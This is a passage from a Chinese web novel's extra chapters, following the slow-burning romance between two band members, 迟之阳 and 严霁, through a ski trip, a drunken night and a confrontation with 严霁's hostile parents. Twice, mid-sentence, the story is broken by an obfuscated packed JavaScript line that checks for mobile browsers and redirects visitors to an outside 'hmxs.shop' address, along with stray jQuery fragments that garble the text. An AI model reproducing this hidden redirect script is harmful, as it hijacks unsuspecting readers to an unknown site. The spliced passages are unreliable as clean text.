迟之阳愣住了,什么难过、委屈、愤懑,通通被这些温言软语融化了,化成一滩暖流,淌过他全身。 可严霁还没结束。 他拿出手机晃了晃:“我也没有把其他人设置过壁纸。设置成你的照片,是因为这张很可爱,每次打开手机都会非常幸福。” 每说一句,他都会俯下身子,靠近一些,声音也愈来愈低。 “靠这么近检查有没有喝醉,也是第一次。” “都是第一次。”严霁望着他,沉声道,“都是和你。” 他似笑非笑地望着迟之阳,手伸进被子里,探了探,最后很有分寸地握住了迟之阳的手腕。 “你说你没喝醉,我觉得也是。小阳老师这么厉害,这点酒难不倒你。” 明明看不见,明明酒精把他的感官和理智都搅得一团糟,可迟之阳却能清楚地感觉到他的拇指蹭了蹭自己的掌根。 过热的体温快把他嗓子烘哑了。 “既然没醉,这些话,应该都能记住吧?”严霁声音很轻,懒懒的,“我已经说得很慢很慢了。” 薄弱的意志力已经濒临瓦解,迟之阳混沌地意识到,他想做的好像很多、很过分。 他想反手抓住严霁,可严霁却在这时抽出了手,带着他残留的体温抽离,又朝他的脸伸过来。 迟之阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727051|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为他会摸自己的脸,像刚刚那样,他甚至都准备好了,可严霁却并没有那样做,只是轻轻地将拨了拨他乱掉的碎发。然后笑着,低头靠近他耳侧。 “要记住哦,迟之阳。” 后来的几个小时里,在酒精和严霁的蛊惑下,他的大脑接近彻底罢工。他不明白,怎么会有人解释一件事都像是在勾引人的? 是我的错吗?是我内心肮脏、淫者见淫吗? 他不知道,只觉得难受极了,晕晕乎乎像是飘在海上,今晚发生的一切都逐渐变得暧昧而模糊,仿佛被笼上一层热雾,渐渐地,他失去意识,沉入梦里。 他做了个非常肮脏的梦,脏到大半夜被秦一隅猛地摇醒时,心虚极了。 完了,是不是被发现了?严霁是不是知道他心怀不轨所以生气了? 正想着,迟之阳对上严霁的眼,昨晚的一部分记忆忽然冒出来。 他咬了严霁! “那什么,我……我不是故意的!” 恒星时刻该不会要因为我解散吧? 而当听到秦一隅说去看日出,迟之阳的一颗心才勉强落下来。 还好还好,不解散就好。 赶紧去看日出,现在就去看! 上车后,严霁主动倾过来帮他系安全带,迟之阳瞬间有些懵,急速缩短的距离令他猛地找回部分记忆。 他昨晚是不是想亲严霁来着?? “困就再睡会儿。” 可迟之阳是怎么都不可能睡着了,不只是那个吻,严霁昨晚的话像碎片一样一块一块出现在他的脑海,被逐渐拼凑。 他说了好多个第一次。 和任何人都无关,只和他有关。 严霁夸他可爱,用他的照片做壁纸,是不是,也对他有一点不一样的…… 那为什么亲他的时候要躲呢? 想到这里,迟之阳有些伤心。觉得自己果然是太轻浮了,仗着喝醉酒做坏事,事后还要怪别人躲开。还好严霁脾气好,都没有怪他。 胡思乱想之际,他忽然发现,天真的亮起来了,日出近在眼前。 他们正在追赶太阳。 在阳光灿烂的山顶,迟之阳大家一起唱歌玩雪,情绪来得快去得也快。下山的时候,他把南乙拉到一边,悄悄地小声问:“小乙,你昨晚没事儿吧?你们跑出去好久,吵架了吗?没打架吧?快让我看看!” 他一边问,一边转着圈想扒拉南乙的外套检查。 南乙躲了躲,故意逗他,声音还有点儿哑,懒懒的。 “打了,差点儿出人命呢。” “真的?”迟之阳急了,破口大骂,“秦一隅那个傻逼!” 南乙又道:“他差点儿被我掐死。” 迟之阳一顿,眨眨眼:“啊?” 他收回手,甩了甩胳膊,“哦,那就好,吓我一跳。” 谁知身后传来另一位当事人的声音,现场抓包:“什么叫那就好?我的命不是命啊十只羊?” 迟之阳最烦他乱叫外号:“你被掐死活该!” 远远地他听见严霁叫他,于是放完狠话就溜了。 被留下的两人并不着急上车,秦一隅两手揣在兜里,朝着南乙走近,肩膀碰了碰他的,戏谑着重复他方才的话:“出人命?” 南乙听完挑眉,盯着他,只笑,不说话。 秦一隅慢悠悠点了点头:“也是,套都破了,是差点儿造出一条小生命。” 南乙还是没忍住,翻了个白眼。 “确实,你离重新投胎就差一点儿了,非常新的小生命。” “嘴可真毒。” “以后别亲。” 回去后所有人都在补觉,迟之阳也一样,但经过了昨晚的事,他回到房间便径直上了自己的床,盖上被子戴上眼罩,主动避嫌,仿佛之前嚷嚷着要和严霁一起睡觉的另有其人。 好在这次没做奇怪的梦了。 醒来后他们又被节目组叫去雪场录制,令迟之阳有些伤心的是,这次严霁真的没有像昨天一样陪着他,而是和倪迟秦一隅南乙他们一起去了高级道。 他长长地叹了口气,但也理解,毕竟自己是个会乱和人亲嘴,没得逞气得咬人,甚至拿他当春梦素材的变态啊。 “小阳,你怎么长吁短叹的?”闽闽用刚学的鸭子步朝他靠近,“该不会是因为想念严老师吧?” 迟之阳立刻变脸:“我想他干嘛?我有病啊,我……我想我奶奶。” 奶奶对不起,我不应该拿您当幌子,我是不孝孙。 “你这么一说我也有点儿想我奶奶了。”于是闽闽也挨着他叹气。 就在这时,迟之阳手机响了。他戴着滑雪手套,很费劲地拿出来,戳开屏幕,点击查看。 [讨厌鬼:要不要吃雪糕?我在便利店,买了去找你。] 迟之阳心里有些得意,嘴角翘起,但并不想表现出来。他用牙齿叼住手套尖,拽下来飞快打字。 [小炸药包:不想吃,冻死了,还吃雪糕呢。别来找我……] 想了想,迟之阳删除了最后四个字,点击了发送。 没一会儿他就收到回复。 [讨厌鬼:还以为你想吃,那我买热玉米汁吧,正好我也有点不舒服,头疼。] 怎么头疼了呢?生病了?不对,是一直生着病呢吧。 [讨厌鬼:昨晚的事你是不是全都忘了?] [讨厌鬼:有点伤心。] 三句话,三条短信,轻而易举勾起迟之阳的心疼与愧疚,小性子顷刻间荡然无存。 [小炸药包:没有,我记得……我咬了你嘛,对不起。] [小炸药包:现在还很疼吗?] 他隐约记得自己下嘴特别重来着。 [讨厌鬼:有点儿,你牙齿小小的,每一颗都挺尖] 一旁的闽闽见他不说话,一抬头,发现迟之阳正在伸手摸自己的牙齿尖尖。 [讨厌鬼:牙印一直很红消不下去,不知道会不会发炎……] [小炸药包:啊?这么严重吗?出血了吗?我看看!] 焦急地等了半天,迟之阳终于收到回复。 [讨厌鬼:穿这么厚滑雪服呢,我这儿只有昨晚拍的照片,回房间再看吧。] 迟之阳急了。 [小炸药包:昨晚的也行啊,给我看看!] 真该死啊,怎么会发酒疯就乱咬人的?我是狗吗?该不会还要涂药才能好吧…… 一分钟后,严霁发来了照片。 照片里,严霁站在浴室的暖灯下,低着头,穿着牛仔裤和紧身的黑色针织衫,衣摆被拉上去咬住,右边的胸肌上赫然一圈牙印,红得醒目。 闽闽远远地看见绣眼,于是拍了拍迟之阳的手臂:“哎小阳我们去那边拍照吧,绣眼把拍立得……” 谁知下一秒,迟之阳啪的一声把手机摔雪里,人也扑通一声跪倒在地。 44. 恒星时刻严迟番外(五) 滑雪特辑结束后,大部队返回CB园区,开始录制紧张的新赛段,可迟之阳却没办法像之前那样专注于比赛。他总会不受控制地盯着严霁看,悄悄留意他的动向,看他今天对谁笑了,和谁说了什么话。 最重要的是,他再也没办法像过去那样,心无旁骛地和严霁躺在同一张床上,因此打从日出之后就乖乖分开睡。 就连严霁健身后冲完澡、系着浴巾光着上半身出来,迟之阳都像是被谁狠狠地踩了脚一样,猛地起身,避开视线找借口离开卧室,去客厅透口气。 那个牙印好像真的留印儿了。迟之阳坐在沙发上,捂住脸。 我好像真的喜欢上严霁了,而且是特别特别喜欢。 他总是难以入眠,或是很早就醒来。当他比所有人都早来排练室时,又总是盯着严霁的键盘发呆。趁大家不在,他总爱偷弹严霁的琴。 但他并不像南乙和秦一隅那样熟悉电子琴和合成器,所以也只是随便弹弹,一旦门口有动静,就立刻跑回自己的鼓凳前坐好,假装要开始练鼓,并在心里祈求这些不要被播出去,否则自己看上去真的很像个变态。 迟之阳一向是个只顾享受眼前、不计后果的人,也总是大大咧咧,反应迟钝,可自打明确了心意后,他发现自己越来越敏感。 和在雪场不同,那种疯狂引起严霁注意、试图讨他夸奖的阶段好像忽然就过去了,如今的他总是在默默地望着严霁。 也正是因此,迟之阳渐渐发觉,自己心口仿佛延伸出一条看不见的线,链接上严霁的心脏,他总能察觉到他的倦怠与不安。 这是很奇怪的吧?他可是严霁,是比自己成熟一万倍的人,是他在儿时就憧憬和想象过的“成年人”完美形象。 可总在一些不起眼的时刻,这条隐形细线会晃动,迟之阳的脑子就会警铃大作,仿佛在提醒他,严霁有了坏情绪。 尽管严霁总是保持微笑。 他看上去游刃有余,但似乎并不开心。 仔细回忆一下,迟之阳甚至不知道严霁真正开心起来的笑是什么样的,他好像没有放肆地开怀大笑过。 最接近的一次,是在第一赛段。 当初写《梦游》时,在其他几人的鼓励下,迟之阳袒露了自己糟糕的童年。当时的他说完后并没有太好受,因此跑出去了。 严霁去找了他,带着冰淇淋。在没有机位的昏暗楼道,他们俩肩并肩坐在台阶上,很小声聊天。 严霁夸他很厉害,很坚强,在那样的家庭长大竟然可以那么阳光。虽然被夸奖很开心,可当时他发自内心地说:“可我更羡慕你这样的性格,感觉所有人都会喜欢你。” 那时候的他还开玩笑说:“从小到大你肯定被超多人追吧?” 严霁当时的表情是很真诚的平静。 “上中学那会儿,经常会有人开我和班上同学的玩笑,其实我很反感,但如果把反感直接表现出来,被开玩笑的其他同学或许会受伤,所以我只能沉默。” 现在回忆起来,迟之阳后知后觉地发现,严霁其实转移了“被追求”的问题,说的是被起哄,答非所问。 被追求对他来说,是一件很有负担的事吗? 但当时的他却没那么细心:“那你就没有喜欢的?没谈?” 严霁和平时一样,几乎不说绝对的答案。他顿了顿,努力试着坦诚:“上班之后有很多推不掉的聚会,同事会介绍,我妈也催我相亲……” “你去了吗?相亲。”才刚成年的迟之阳对此感到新奇。 “嗯。”严霁点头,“喝了咖啡。” “什么样的人啊?漂亮吗?” 严霁还是老样子:“你猜。” 迟之阳那时候很认真猜了:“嗯……八成是那种家世很好的姑娘,成绩也很好,黑长直,斯斯文文,穿着小白裙,职业的话,老师?或者是医生,没准儿还会拉小提琴?” 严霁盯着他灿烂的笑脸,隔了好一会儿才轻声开口,开玩笑:“你怎么好像在隔壁桌亲眼见过一样?” “是不是!我牛不牛?猜对了是吧!” “嗯。”严霁点头。 他的情绪因为迟之阳的兴奋而逐渐低落,但被很好地掩盖了。 “不过有一点不准确,她是拉大提琴的。” “大提琴?真厉害,我们学校拉大提琴的女生都可有气质了。”迟之阳说完,继续八卦,“见了面之后呢?你满意吗?喜欢她吗?” 严霁静了片刻,微笑问:“你也觉得我喜欢这一类?” 当时的迟之阳吃掉了最后一点冰淇淋,认真思考之后,扭过头看向他。 “我说了……你可别生气。” “当然不会。” “我觉得吧,你可能不喜欢那样的。”迟之阳玩着手里的雪糕棍,语气随意,“你看着确实很成熟,很有教养。见你第一面的时候我心想,这哪儿来一白领啊,也太端着了吧,还玩儿摇滚呢,别逗了。” 笑过之后,他又说:“但后来我发现,你压根儿就不喜欢那样活着。你会帮忙见义勇为,还喜欢和我一起偷摸溜出去吃小脏摊儿,下大雨的时候把伞一扔,和我一起淋大雨,回来了脸对着脸打喷嚏。你不爱弹巴赫、李斯特、舒伯特,喜欢很多人接受不了的硬摇滚、重金属。所以我觉得,没准儿你就喜欢那种……和你看上去完全不在一个世界的人呢?” 楼道的声控灯灭了好一会儿,迟之阳说着,忽然拍了一下手。 啪地一声,灯光亮起,视线变得清明,他朝严霁转过脸。 于是严霁清楚地看见了迟之阳。 他白到几乎会发光的头发、他不久前哭过所以还有些发红的眼角,还有他笑起来露出的尖牙。 和地铁里第一次遇见他时很像。 “就和你喜欢的歌一样,刺激的,张牙舞爪的,让你活过来的人。” 严霁什么都没说,只望着他。 好几秒后,迟之阳才意识到自己刚刚好像做了很多奇怪的揣测。 “我乱说的,随便一猜,要是错了你也别……” 没等他说完,严霁忽然笑了,笑得低下了头,令迟之阳有些摸不着头脑。 他是讲了什么很好笑的事吗?怎么突然笑成这样,眼睛都弯了,嘴角收不住,肩膀都在抖,和平时的严霁好不一样。 “笑什么啊?”迟之阳好奇极了,想追问他,可无论他说什么,严霁都只是笑,越笑越开心,不回应他。 气得迟之阳拿头顶了他肩膀。那是头一次。 事到如今,回想起来,此时此刻的迟之阳,也依旧没能彻底弄清楚严霁为什么会笑。 但他却感受到些许滞后的幸福。因为严霁曾经因为自己很快乐地笑过。 他意识到自己是有这样的能力的。这件从回忆里扒拉出来的小事就像是一剂强心针,鼓励了他。 可迟之阳从来只会交朋友,不懂怎么追求一个人,对亲密关系的展开很无措。 他很幼稚,很冲动,总做错事,给别人造成麻烦,最后要害的其他人收拾烂摊子,连秦一隅也被他连累过。迟之阳都记得。 而现在,他和严霁的关系又保持在一个很微妙的平衡点,因此他战战兢兢,害怕一个不小心就被自己毁掉。 新一轮的比赛因为有无序角落的加入,竞争激烈,对他们所在的大组非常不利,他只能暂时放下这些小心思,认真排练,可他却越来越多次看到严霁偷偷吃药、睡不好,半夜起床走进浴室,出来的时候,身上有很浓重的止痛贴的味道。 他还会手抖。起初迟之阳以为是弹琴频率太高,总忍不住让他休息,可后来他发现,不只是这样,严霁吃早餐时拿筷子的手也是抖的。 他会时不时走神,似乎在想什么,会下意识皱眉。每当这时候,迟之阳会感到无助,因为他不仅看不透这个人,也帮不上任何忙。 “严霁。” 又一次。迟之阳在他走神时叫了他,认真地望着,缓慢眨了眨眼:“你在想什么呢?不开心吗?” 严霁又是微笑,否认。 这次迟之阳不想傻乎乎地点头,和他一起粉饰太平了。 “你就是不开心啊。”他的手覆上严霁的手,“可不可以告诉我啊?” 他努力克服自己的别扭:“虽然我不是特别会照顾人的人,但是,你也可以试着向我说出来,没准儿说出来人就轻松点了呢。” 严霁望着他,偏了偏头,声音很轻:“家里的小事,也不是一天两天了,老毛病,别担心。” 说完,他安抚似的捏了捏迟之阳的脸颊,自言自语似的说:“怎么这么软。” 可迟之阳现在已经知道这是在转移话题,于是扒拉开他的手,正色道:“不可能不担心的!” 严霁脸上的笑意敛去一些,垂眼盯着迟之阳抓住他的手。 过了几秒,他忽然抽出手,令迟之阳有些慌张。但下一刻,那只手靠近他的肩膀,轻轻拉住了他垂在肩上的小辫子,手指抚过发丝,毫无防备地将他发尾的发绳摘了下来。 柔软的白色发圈在他手心展开,变成一个圈。严霁将它套在了手腕上。 “这个,送我吧?” “啊?”迟之阳不解。 “我不是送你新的鼓棒和耳机了吗?” “嗯。” 是啊,我还舍不得用呢,写上了收到它们的日期,小心地收在柜子里。 严霁笑着继续:“要一个回礼不过分吧,鼓手老师。” 当然不过分! “可是,这个……这太便宜了。” 这是迟之阳戴了好几年的发圈,是他目前为止唯一没弄丢的随身物品,但也正因如此,那看上去很旧,都松掉了,每次扎头发的时候,都要缠很多很多圈。 他有些羞愧,急忙说:“你喜欢戴在手上的吗?我可以送你手链,或者手表,你喜欢什么?” “我就要这个。”严霁笑了笑,另一只手的食指勾住白色发圈,微微拉开,然后松掉,橡皮弹到手腕上。 “以后只要我走神,想一些不愉快的事,就用你给我的发圈弹一下我自己,当做对大脑的惩戒,时间一长,可能就会产生条件反射。” “什么条件反射?”迟之阳问。 严霁伸手,手指梳理被他弄散的白色长发,声音带着笑:“别想了,再胡思乱想,就要接受小阳老师的惩罚了。” 又开始用一些奇怪的表述了。迟之阳面颊发热:“谁要惩罚你了?乱给人扣帽子……” 严霁笑了:“开始烦我了?” “嗯。” 可严霁又拉住他的手腕,在人来人往的食堂。 “不要烦我,好不好?” 迟之阳忽然觉得他好可怜,令他想起在学校门口看见过的被雨淋湿的边牧,所以很快心软,点点头。 “好吧。今天不烦你了。” “那我再补充一句。”严霁笑了,凑到迟之阳耳边,“手表这种东西,不可以随便送的,记住了?” “你!” “说好今天不烦我的。”严霁挑挑眉。 讨厌鬼…… 又被拿捏了。 尽管如此,迟之阳还是在心里发誓,要收敛小性子,对严霁再温柔一些。 然而,当他发现严霁戴着自己的发圈去和汪琦吃饭时,还是不可避免地生气了,但他只敢找南乙诉苦,发泄怨气。 面对发小,他越说越委屈,认定严霁和汪琦已经在一起了,否则怎么会去那么高级的餐厅吃烛光晚餐。 初恋就这么无疾而终,迟之阳感到痛苦,和南乙一起喝到断片,想把一切都忘掉。他泄愤似的跳上严霁整洁的床,拼命蹦跳,直到摔下来,才忽然开始痛哭。 实在是太久没这么难过了,上一次是奶奶离开,再上一次是父母都不要他。 原来他比想象中还要喜欢这个人。 早上醒来后,迟之阳头痛欲裂,酒后的一切都不记得了。严霁不在,他第一反应是逃避,想躲远一点,因为他做不到成熟地假装没发现,更做不到体面地祝福严霁的恋情。 但就在他打算逃跑时,房门忽然被打开了。严霁拎着早餐开门进来。 “醒了?” 迟之阳脑袋昏沉,一下子卡机,原地转了半圈,胡言乱语:“我,我要走了。” “走?去哪儿?”严霁笑了,很快做出恍然的表情,“啊,昨晚你好像是说了,要去开‘危险流浪者’机甲拯救世界,这么快就要出任务了?” “啊?”迟之阳懵了。 救命啊,我昨晚都说了什么胡话啊!什么危险流浪者啊,怎么穿到《环太平洋》里了…… “不是,我……”迟之阳难堪极了,想劈条地缝钻进去。 严霁笑了,拖住他手腕:“不过危险流浪者好像需要两位驾驶员才能运行,我查过了。” 啊?迟之阳更懵了。 严霁拉着他坐到桌边,一本正经说:“这样吧,你陪我吃早饭,吃完之后,我当你的副驾驶员,陪你去打怪兽。” 他的心猛地跳了跳。 怎么会有人这么认真地回应一个醉鬼的话的?真是…… 他吃了一口粥,忽然又有些难过起来。 这样的人不是他的,好烦。 “我吃饱了。”迟之阳食不下咽,垂着脸放下喝粥的勺,一反常态地乖巧懂事,“谢谢你给我带早餐。” 严霁盯着他,忽然笑了。房间里沉重的安静气氛忽然被打破。 迟之阳一脸莫名地抬起头,不明白他笑什么,自己可是拼命忍哭忍了好久,不然就是眼泪拌饭了! “你笑什么!”他又有些气急败坏。 严霁笑得歪了头,手撑着下巴看他:“你果然都忘了。” 忘了? 迟之阳眼中冒出警惕:“我忘了什么?” 严霁仿佛早有预料,拿出手机,找到一则视频播放出来,才刚一打开,迟之阳就听到了自己嚎啕大哭的声音,猛地睁大双眼,窘迫地双手捂住视频。 “你!”迟之阳这下是真的要哭了,“你怎么还录像了,快给我关了!不是,快删掉!” 严霁倒是好整以暇,温声哄道:“你松手我才能删啊。” 等他真的松开手,严霁却直接拉动进度条。视频就像是被他看过许多遍似的,精准地落到某个他想要的位置,开始播放。 迟之阳傻掉了,画面中的自己树袋熊一样面对面抱住了严霁,脖子埋在他肩窝,委屈地哭诉他丢下自己出去约会,而严霁抚摸着他的后背,迟之阳每说一遍,他都解释一遍:“不是约会,我托他帮我办点事,说了五遍了哦,聊天记录也给你看过了,还要怎么证明我的清白呢。” “你就是约会了!你不要我了,你们都不要我了……”迟之阳哭得伤心,但还是加了一句,“除了小乙……” 严霁表情变了变,“所以你还是更喜欢小乙是吗?” 迟之阳却因此急了,一口咬上他侧颈接近耳后的一小块皮肤。 看视频的迟之阳彻底忍受不了了,抓起手机想跑,但手腕被严霁抓住。 “迟之阳,我还有第六次解释的机会吗?” 迟之阳无法直视他仰着的脸,别过头,心跳得好像要死掉了。 “不、不用解释了,是我发酒疯。” 其实这些和我有什么关系呢? 为什么要这么惯着我啊? 他终于发现,对上严霁,自己果然一点胜算也没有。 “不生气就好。”严霁笑了笑,“今天排练用我送你的新鼓棒吧。” “啊?”迟之阳瘪瘪嘴,我还舍不得用呢。 然而严霁又笑着,柔柔地抱怨:“反正你昨晚都拿它打过我了。” “什么???” 迟之阳差点给自己一巴掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727052|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在严霁的解释下,他才知道,原来是为了南乙。 再大的内部矛盾,遇上更为恶劣的外部挑战,都变得不值一提。得知南乙的计划后,他们所有人都一致把这个目标列为首要任务,迟之阳更是不敢懈怠。 他觉得好难过,原来自己最亲近的朋友一直生活在痛苦的火焰里,煎熬了这么多年,而他却从来没有帮上忙。 好在事情最终尘埃落定,尽管没有收获像电影里那样大快人心的结局,至少南乙这么多年的辛苦没白费。 随着舆论的发酵,比赛也被按下暂停键。看着相伴几个月的乐手们一个个要离开,迟之阳很不舍。 他更是对自己和严霁的未来一筹莫展。 “散伙饭”吃到一半,他难受得胃痛,想出去走走。没离开多远,他就感觉有人跟着他,还以为是严霁。 可一扭头,他看到的却是一张烦人但客观来说确实不难看的脸。 “哪儿去啊?”秦一隅上前几步揽住他的肩,笑得让迟之阳觉得很贱,“十只羊,大晚上的,你可别又把自己弄丢了,到时候我家小乙又担心得出来找你。” 迟之阳扒拉开他的手,想起上次迷路的事就又想到汪琦表白,于是破口大骂:“你狗叫什么!谁是你家的!” “你最亲爱的竹马南乙呀。”秦一隅笑嘻嘻地,拆了根棒棒糖,又不知从哪儿掏出一根递给迟之阳,“吃不吃?” 迟之阳虽然嫌弃,但不想和白来的糖过不去,接过来拆开塞嘴里,嘟囔着:“哪儿来的?” “刚偷的,热乎着呢。” “……” 秦一隅笑了:“开玩笑的啦。” 他伸出手,揉了一把迟之阳的头毛,揉得乱乱的,叼着糖很不正经地表示关心:“你最近怎么总蔫儿了吧唧的?怎么?又和小严同志闹别扭?” “谁和他闹别扭了?”迟之阳推开他的手,“起开,看到你就烦。” “你看,你和我说话都比和他说话有力气。”秦一隅贱嗖嗖调侃,“喜欢我多一点是吧?” “你有病吧!”迟之阳肺都要被他气炸了,只想打人,可刚抬起手,又顿在半空,最后收了回来。 “我就是……有点烦,老想些有的没的。” 疯了吗?我居然在这儿和秦一隅这个神经病谈心?我也病得不轻了! “想有的没的?你?”秦一隅乐了。 “我怎么了?” “我要是丧尸,吃你的脑子都得用喝咖啡那个小银勺儿。”秦一隅说。 “你丫……什么意思?”迟之阳没立刻反应过来,琢磨了一会儿,“哦,我脑子得细品是吧。” “不是,”秦一隅忍着笑摆手,“因为你的小脑子撑死了也就这么一小勺儿,哈哈哈哈!” “我掐死你!”迟之阳直接气得上手,脸都红了,铆足了劲儿想揍他。 “错了错了!卧槽你手劲儿可真大!”秦一隅咳嗽了几声,打手势停战求和,“听我说听我说,十只羊,你其实是个特别牛逼的人你知道吗?” 迟之阳很无语,但是不排除秦一隅这句话是真心的,于是暂停揍人:“继续。” “我是想说呢,你本来就是一直来直往的小炮仗,干嘛磨磨唧唧犹犹豫豫的,你看看你现在,哪儿还有我刚见你时,叉着腰站在楼道里给我一通乱训的样子啊。” 迟之阳愣住了。 “不管发生什么,就是干,拿出你北京小爷们儿的款儿来,就硬上,管他呢,搞砸就搞砸呗。”秦一隅冲他扬了扬下巴,“你还能搞砸成我前半辈子那样儿啊,再说了,我不都能重新开始,现在每天开心得找不着北了。” 迟之阳感觉忽然被点拨了,可又不想承认是被这个人点拨的。 “你就是一傻帽儿,傻乐。” “你以为你不是?” “我才不是。” 离开CB的日子就像是脱离了一个绚烂的梦境,回归现实,现实里没有24小时不停转的摄像机,他也不可能每时每刻和严霁待在一起。 回到学校的迟之阳辗转反侧,终于在第二天早晨下定决心。 就在今天,他必须要和严霁表白,要追他,就像秦一隅说的,失败就失败,哑炮就哑炮。 不想继续暧昧不清了,他要做自己想做的事。 起床后迟之阳几乎花了整整一个小时打扮自己,光是耳钉都换了三次,临出门前,他看到了室友的白色球鞋,想到上次严霁来看他,还带了蛋糕。 告白就更不应该两手空空了。 前一晚他旁敲侧击问过严霁第二天的计划,严霁说上午会做大扫除,下午健身。凡是他制定的计划基本不会更改,因此迟之阳决定给他个惊喜。 他带着一大束白玫瑰,还有一盒草莓蛋糕,内心忐忑地来到了严霁家。 站在电梯里的他对着反光的镜面内壁,紧张到不知该看哪儿,可四面都是自己局促不安的脸,莫名有些好笑。 于是迟之阳干脆腾出一只手来拍了张对镜自拍。 要是失败了,他就立刻逃走,再拍张哭脸的。 正想着,电梯门打开,迟之阳深吸一口气,鼓起勇气朝严霁的家门口走去。 可忽然间,他听到一个中年女人的声音,很陌生 ,很歇斯底里。 房门没有关,密码门锁耷拉着,被撬开了。迟之阳眉头皱起,心重重地跳了两下。 “严霁,你还有没有良心!我们白养你这么大了!” 这一句出来,迟之阳几乎像是应激似的,瞬间回到了小时候。争吵不休的家庭,无助的自己,那个朝他砸来的玻璃花瓶。 他没察觉到自己的手开始发抖。 屋子里崩溃的母亲仍在继续,带着哭腔,急促而嘶哑:“从小到大我对你严格要求,难道有错?你之所以有现在这一切都要感恩爸爸妈妈才对,为什么越长大你越不听话了?” 她哭到说不下去,于是迟之阳听到了严霁父亲的声音。 “你看看你现在,像什么样子?好端端的工作辞了,不要了,跑去搞什么狗屁乐队?你这是在浪费生命!” 迟之阳脸色惨白,仿佛被否认的不是严霁,而是他自己。 “如果不是张阿姨说看到你在那个节目上和男生举止亲密,我根本就想不到!怪不得妈妈刚给你介绍这么多好姑娘你都处不来,你是不是喜欢男人?” 终于,他听到了严霁的声音,很低,似乎也是他们之中最平静的。 “是。” 这彻底激怒了他的母亲。 “你疯了!你不正常!你……你要去看病,难怪你有精神病,什么焦虑症,我看你就是疯了!我怎么会生出你这么一个……” 砰—— 没等她骂完,门被狠狠推开,反弹到玄关柜上砸出巨大的声响。屋子里的人都懵了,循声看过去,却看到一个气势汹汹的男孩儿。 大而漂亮的花束和包装精美的蛋糕都被他扔到地上。他就这样径直闯进来,像头小兽似的,笔直走向严霁,一把抓住他的手腕。 严霁满眼错愕,彻底怔在原地。 他甚至在分辨这是不是噩梦中的一个插曲。是不是幻觉。 “你是谁!”一旁的严父猛地拽住了他,“谁让你进我家的?” 迟之阳胸口起伏,却还是鼓足勇气,无所畏惧地与对方直视,声音不大,但很坚定。 “这是严霁家。” “还带着花……原来是你?” 话音刚落,迟之阳脸上一阵火辣辣的疼。这个突如其来的巴掌把他打懵了。 “就是你勾引了我的儿子!” 他不可置信地看向这个只见过一面的中年女人,很生气,却更多地感到心痛。 于是他红着眼,倔强地与她直视,仿佛不肯罢休似的。气极之下,他甚至笑了。 “就是我。是我勾引的他,怎么了?” 45. 恒星时刻严迟番外(六) 从小到大,严霁的大脑都有一套自己的“预演”系统。 即使是最日常的小事,例如办理一张信用卡,他都会在脑中提前规划好所有的流程,甚至小到中途顺道洗车的细节。反复考量、比对不同的计划,筛选,择优,最后付诸现实。这是他最省力、也最能规避和对冲风险的生活方式。 而在和迟之阳建立亲密关系这件事上,严霁则更是慎之又慎。他试图引导迟之阳去发现完美假面背后的那个人,一点一点释放自己的不安、软弱、脆弱,他的阴暗面,他不健康的心理状态,抱着或许他会被吓退的念头,期待他能因为这份心动而留下。 他想象了几乎所有坏的可能,却忽略了非常重要的一个事实——真实世界远比任何风险模型都要糟糕。 迟之阳偏偏就在最狼狈的时候出现,美好泡影彻底粉碎。 可严霁怎么都没想到,迟之阳会冲进来,挡在他面前。 “你?你还要不要脸!” 原本还有些犹豫,可被打过之后,迟之阳反倒有些破罐子破摔,想到严霁之前过的是这样的生活,气得直接回怼:“我不要脸?您呢?大白天撬自己孩子家的门跑进来闹事,您二位就要脸了?” 看见一旁杵着的严父也竖了眉毛,试图开口教训,迟之阳压根儿没给他机会,骂道:“喜欢男人怎么了?是杀人了还是犯法了?这是你们儿子你们凭什么这么对他?生下来养大了就攥着他的命了吗?什么没有你们就没有今天的他?严霁过得好是他自己有本事,生在你们家算他倒大霉了,谁被你俩养大不生病啊?还有脸骂他生病,你们根本不配做他爸妈!” 这番话的杀伤力对两个控制欲极强的中年人而言与诛心无异。严母听完气得一口气上不来,几乎要晕倒,扶着墙壁瘫坐在沙发上,严父则气得直接上前抡起胳膊。 “你算是个什么东——” 迟之阳不害怕,他既然骂出了口,就是立正挨打图个痛快,可下一秒,严父猛地挥下来的手臂却被一只手紧紧攥住。 严父的表情怒目圆瞪,看向迟之阳身后,震惊无比。 于是迟之阳也猛地扭头,望向站在自己身后的严霁。 他没有皱眉,更没有发怒,平静到甚至有些无情,只是抬起了手,紧攥住父亲手腕的手往旁边一扯,将严父整个人都拽开。 而后,他轻轻拉住迟之阳的小臂,将他拉到自己背后,交换了位置。 “你!你这个不孝子……”严母不可置信地望着自己的儿子,气得剧烈咳嗽起来。 严霁仍旧没有任何回应,自顾自拿出手机报了警。 “喂,请问是派出所吗?” 听到他对着电话那头说的话,客厅里的三人都震惊了。迟之阳睁大了眼,拽了一下他的袖子,可严霁反倒握了握他的手,安抚似的。 严母愣住了,喃喃:“你要报警?!” 严父无法相信这是自己的儿子:“我们来自己儿子家,不给开门,还要用这种方式才能进来,你不觉得这是你的问题,还要报警抓自己的父母?” 严霁没有理会,继续对着电话报了地址,有条不紊道:“这里有人殴打他人,对,扇了巴掌,我会带着人去验伤……” 他说着,看向自己的父母:“而且动手的人是非法入侵他人民宅。” 严父气得想要动手抢夺手机,谁知又一次被严霁挡住。 